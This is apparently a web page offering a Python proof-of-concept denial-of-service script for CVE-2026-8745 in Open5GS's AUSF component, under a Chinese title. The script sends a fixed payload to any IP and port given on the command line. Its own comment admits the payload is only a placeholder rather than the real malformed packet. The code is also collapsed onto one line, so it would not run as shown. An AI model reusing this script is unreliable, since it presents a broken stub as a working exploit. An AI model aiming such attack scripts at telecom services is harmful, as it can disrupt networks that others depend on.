CVE-2026-8745 Open5GS拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-8745 (Open5GS DoS) # This script attempts to trigger the ogs_timer_add vulnerability in AUSF. import socket import sys def send_exploit(target_ip, target_port): try: print(f"[*] Sending payload to {target_ip}:{target_port}...") # Placeholder for actual malformed packet structure specific to AUSF payload = b"\x00\x00\x00\x01" + b"\x41" * 100 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(payload) print("[+] Payload sent. Check if service has crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve-2026-8745.py <IP> <PORT>") sys.exit(1) send_exploit(sys.argv[1], int(sys.argv[2]))